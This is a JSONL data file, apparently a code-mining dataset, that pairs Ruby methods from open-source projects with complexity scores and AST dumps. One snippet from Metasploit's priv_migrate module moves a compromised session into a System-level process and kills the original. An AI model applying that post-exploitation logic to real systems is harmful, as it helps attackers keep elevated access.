ActionDispatch::MiddlewareStack.new\n @stack.use FooMiddleware\n @stack.use BarMiddleware\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stack\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"MiddlewareStack\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"use\",{\"type\":\"const\",\"children\":[null,\"FooMiddleware\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"use\",{\"type\":\"const\",\"children\":[null,\"BarMiddleware\"]}]}]}]}","id":"54b5b9b1-f5d1-426f-8e18-48ef603fdd4c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb","start_line":48,"raw_source":"def client\n shell.client\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\"]},\"client\"]}]}","id":"30781224-a728-44e1-a8b5-9d7b8d7aa645"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_authorizations/changes.rb","start_line":148,"raw_source":"def publish_removed_event\n return if @removed_user_ids.none?\n\n events = @affected_project_ids.flat_map do |project_id|\n # NOTE: AuthorizationsRemovedEvent triggers MergeRequests::RemoveUserApprovalRulesWorker, but the approval rules\n # should not be removed when the user's role is just being changed.\n added_user_ids_for_project = @authorizations_to_add\n .select { |data| data[:project_id] == project_id }\n .pluck(:user_id)\n removed_user_ids_for_project = @removed_user_ids - added_user_ids_for_project\n\n removed_user_ids_for_project.each_slice(EVENTS_BATCH_SIZE).map do |user_ids_batch|\n ::ProjectAuthorizations::AuthorizationsRemovedEvent.new(data: {\n project_id: project_id,\n user_ids: user_ids_batch\n })\n end\n end\n ::Gitlab::EventStore.publish_group(events)\n end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_removed_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@removed_user_ids\"]},\"none?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@affected_project_ids\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"added_user_ids_for_project\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authorizations_to_add\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"removed_user_ids_for_project\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@removed_user_ids\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"added_user_ids_for_project\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_user_ids_for_project\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"EVENTS_BATCH_SIZE\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_ids_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ProjectAuthorizations\"]},\"AuthorizationsRemovedEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"lvar\",\"children\":[\"user_ids_batch\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"EventStore\"]},\"publish_group\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]}]}","id":"e8cbadfb-2052-4c9a-a97d-446fd5610863"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_methods.rb","start_line":547,"raw_source":"def matched_attribute_method(method_name)\n matches = self.class.send(:attribute_method_patterns_matching, method_name)\n matches.detect { |match| attribute_method?(match.attr_name) }\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"matched_attribute_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"send\",{\"type\":\"sym\",\"children\":[\"attribute_method_patterns_matching\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"attr_name\"]}]}]}]}]}","id":"468efceb-da38-4b84-8cff-e7f3f69bbdd8"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/automation_rules/conditions_filter_service.rb","start_line":103,"raw_source":"def attribute_changed_filter_query(filter, records, current_attribute_changed_record)\n if filter['query_operator'] == 'AND'\n @attribute_changed_records + (current_attribute_changed_record & records)\n else\n @attribute_changed_records + (current_attribute_changed_record | records)\n end\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_changed_filter_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"records\"]},{\"type\":\"arg\",\"children\":[\"current_attribute_changed_record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"query_operator\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"AND\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attribute_changed_records\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_attribute_changed_record\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attribute_changed_records\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_attribute_changed_record\"]},\"|\",{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}]}]}]}","id":"965ee7b1-573d-44b3-acb4-8a35c07b0b1b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/purging.rb","start_line":84,"raw_source":"def self.truncate_child_tables(older_than)\n target_hours = determine_target_hours(older_than, Time.now.utc)\n return if target_hours.blank?\n\n target_hours.each do |hour|\n Metric.connection.truncate(Metric.reindex_table_name(hour), \"Metric Truncate table #{hour}\")\n end\n end","complexity_score":12.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"truncate_child_tables\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"older_than\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_hours\",{\"type\":\"send\",\"children\":[null,\"determine_target_hours\",{\"type\":\"lvar\",\"children\":[\"older_than\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_hours\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_hours\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hour\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"connection\"]},\"truncate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"reindex_table_name\",{\"type\":\"lvar\",\"children\":[\"hour\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Metric Truncate table \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hour\"]}]}]}]}]}]}]}","id":"46850e1f-178e-4923-b4b9-4b1d44c1c5ed"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/invitations_controller.rb","start_line":33,"raw_source":"def create\n authorize! :create, Spree::Invitation\n authorize! :manage, @parent\n\n @invitation = Spree::Invitation.new(permitted_params)\n @invitation.resource = @parent\n @invitation.inviter = try_spree_current_user\n\n if @invitation.save\n respond_to do |format|\n format.html { redirect_to spree.admin_invitations_path, notice: flash_message_for(@invitation, :successfully_created) }\n format.turbo_stream\n end\n else\n render :new, status: :unprocessable_entity\n end\n end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Invitation\"]}]},{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"manage\"]},{\"type\":\"ivar\",\"children\":[\"@parent\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@invitation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Invitation\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"permitted_params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"resource=\",{\"type\":\"ivar\",\"children\":[\"@parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"inviter=\",{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"save\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"admin_invitations_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"flash_message_for\",{\"type\":\"ivar\",\"children\":[\"@invitation\"]},{\"type\":\"sym\",\"children\":[\"successfully_created\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"4093498d-c4d9-413c-aea3-6d0f82df10af"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/appliance.rb","start_line":148,"raw_source":"def self.get_build\n build_file = Rails.root.join(\"BUILD\").to_s\n\n if File.exist?(build_file)\n build = File.read(build_file).strip.split(\"-\").last\n else\n sha = `git rev-parse --short HEAD`.chomp\n build = \"unknown_#{sha}\"\n end\n\n build\n end","complexity_score":16.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_build\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"build_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"BUILD\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"build_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"build\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"build_file\"]}]},\"strip\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"last\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sha\",{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git rev-parse --short HEAD\"]}]},\"chomp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"build\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unknown_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"build\"]}]}]}","id":"a89ad0a8-c716-4458-afdc-d2d0cc00a1b4"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/db/migrate/tables/cost_entries.rb","start_line":34,"raw_source":"def self.table(migration) # rubocop:disable Metrics/AbcSize\n create_table migration do |t|\n t.bigint :user_id, null: false\n t.bigint :project_id, null: false\n t.bigint :work_package_id, null: false\n t.bigint :cost_type_id, null: false\n t.float :units, null: false\n t.date :spent_on, null: false\n t.timestamps precision: nil, default: -> { \"CURRENT_TIMESTAMP\" }\n t.string :comments, null: false\n t.boolean :blocked, default: false, null: false\n t.decimal :overridden_costs, precision: 15, scale: 4\n t.decimal :costs, precision: 15, scale: 4\n t.bigint :rate_id\n t.integer :tyear, null: false\n t.integer :tmonth, null: false\n t.integer :tweek, null: false\n t.references :logged_by, foreign_key: { to_table: :users }, index: true\n end\n end","complexity_score":24.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"work_package_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"cost_type_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"float\",{\"type\":\"sym\",\"children\":[\"units\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"date\",{\"type\":\"sym\",\"children\":[\"spent_on\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"blocked\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"decimal\",{\"type\":\"sym\",\"children\":[\"overridden_costs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale\"]},{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"decimal\",{\"type\":\"sym\",\"children\":[\"costs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale\"]},{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"rate_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"tyear\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"tmonth\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"tweek\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"logged_by\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"users\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"7e4b73b9-1407-46c0-a3bc-a4390e60a60a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/priv_migrate.rb","start_line":146,"raw_source":"def migrate_admin\n if is_admin?\n # Populate target array and Downcase all Targets\n admin_targets = DEFAULT_ADMIN_TARGETS.dup\n admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']\n admin_targets.map!(&:downcase)\n\n if is_system?\n print_status('Session is already Admin and System.')\n if admin_targets.include? @original_name\n print_good(\"Session is already in target process: #{@original_name}.\")\n return true\n end\n else\n print_status('Session is Admin but not System.')\n end\n print_status('Will attempt to migrate to specified System level process.')\n\n # Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work.\n admin_targets.each do |target_name|\n if migrate(get_pid(target_name), target_name, @original_pid)\n kill(@original_pid, @original_name)\n return true\n end\n end\n print_error('Unable to migrate to any of the System level processes.')\n else\n print_status('Session has User level rights.')\n end\n false\n end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate_admin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_targets\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_ADMIN_TARGETS\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ANAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_targets\"]},\"unshift\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ANAME\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_targets\"]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_system?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Session is already Admin and System.\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_targets\"]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@original_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session is already in target process: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Session is Admin but not System.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Will attempt to migrate to specified System level process.\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrate\",{\"type\":\"send\",\"children\":[null,\"get_pid\",{\"type\":\"lvar\",\"children\":[\"target_name\"]}]},{\"type\":\"lvar\",\"children\":[\"target_name\"]},{\"type\":\"ivar\",\"children\":[\"@original_pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kill\",{\"type\":\"ivar\",\"children\":[\"@original_pid\"]},{\"type\":\"ivar\",\"children\":[\"@original_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to migrate to any of the System level processes.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Session has User level rights.\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"666387fd-be41-4c2b-a117-55b93cc1609b"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_saml/spec/support/certificate_helper.rb","start_line":10,"raw_source":"def non_padded_string(certificate_name)\n public_send(certificate_name)\n .to_pem\n .gsub(\"-----BEGIN CERTIFICATE-----\", \"\")\n .gsub(\"-----END CERTIFICATE-----\", \"\")\n .delete(\"\\n\")\n .strip\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"non_padded_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"certificate_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"lvar\",\"children\":[\"certificate_name\"]}]},\"to_pem\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"-----BEGIN CERTIFICATE-----\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"-----END CERTIFICATE-----\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"delete\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]}]}","id":"de039df4-1de1-4917-b783-fe4bf60412bd"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/project_activity_provider.rb","start_line":61,"raw_source":"def event_url(event)\n url_helpers.project_url(event[\"project_identifier\"])\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"event_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"project_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_identifier\"]}]}]}]}","id":"36c3a2f1-9042-44d3-950d-16b4b121bca4"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/app/components/team_planner/overview/row_component.rb","start_line":42,"raw_source":"def project_name\n helpers.link_to_project model.project, {}, {}, false\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"link_to_project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}","id":"946ba362-33ed-43e4-9d31-1a23f0bcb9a2"} 